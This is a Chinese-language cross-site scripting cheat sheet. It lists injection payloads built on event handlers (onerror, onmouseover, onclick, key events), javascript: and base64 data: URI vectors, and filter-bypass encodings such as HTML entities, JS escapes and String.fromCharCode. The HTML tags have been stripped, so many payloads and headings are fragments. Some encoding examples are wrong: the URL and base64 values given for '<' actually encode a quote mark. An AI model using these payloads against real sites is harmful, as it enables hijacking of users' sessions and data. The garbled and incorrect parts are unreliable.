XSS总结


一、标准语句

二、尝试大小写

三、使用标签

1、windows事件
"x" onerror=alert(1)>

"1" onerror=eval("alert('xss')")>

//图片加载错误时触发
2、鼠标事件
1 onmouseover="alert(1)">

//鼠标指针移动到元素时触发

1 onmouseout="alert(1)">

//鼠标指针移出时触发

四、使用标签

1、使用href属性
"https://www.qq.com">qq

'xss')>test

"javascript:a" onmouseover="alert(/xss/)">aa

"" onclick=alert('xss')>a

"" onclick=eval(alert('xss'))>aa

1000 onmouseover=prompt('xss') y=2016>aa

五、使用标签

"name" value="">

"" onclick=alert('xss') type="text">

"name" value="" onmouseover=prompt('xss') bad="">

"name" value="">

"text" onkeydown="alert(1)">

//用户按下按键时触发

"text" onkeypress="alert(1)">

//用户按下按键时触发

"text" onkeyup="alert(1)">

//用户松开按键时触发

六、使用标签

'xss') method="get">'xss')> 'xss')>'xss')>1 onmouseover=alert('xss)> "data:text/html;base64,">"data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

七、 使用

八、 使用标签

1)> 

九、 使用标签

"alert(1)">

//加载时触发

十、 使用 //元素上点击鼠标时触发

"alert(1)">text

//元素上按下鼠标时触发

"alert(1)">text

//在元素上释放鼠标时触发

十一、 使用

标签

"alert(1)">text

//元素上按下鼠标时触发

"alert(1)">text

//在元素上释放鼠标时触发

十二、XSS编码绕过

1、html实体编码(10进制与16进制):

如把尖括号编码[ < ] -----> html十进制: &#60; html十六进制:&#x3c;

2、javascript的八进制跟十六进制:

如把尖括号编码[ < ] -----> js八进制:\74 js十六进制:\x3c

三个八进制数字,如果数字不够,在前面补零,如a的编码为\141

两个十六进制数字,如果数字不够,在前面补零,如a的编码为\x61

四个十六进制数字,如果数字不够,在前面补零,如a的编码为\u0061

对于一些控制字符,使用特殊的C类型的转义风格,如\n和\r

3、url编码:

如把尖括号编码[ < ] -----> url: %22

4、base64编码:

如把尖括号编码[ < ] -----> base64: Ig==

5、jsunicode编码:

如把尖括号编码[ < ] ----->jsunicode:\u003c

6、String.fromCharCode编码

如alert的编码为String.fromCharCode(97,108,101,114,116)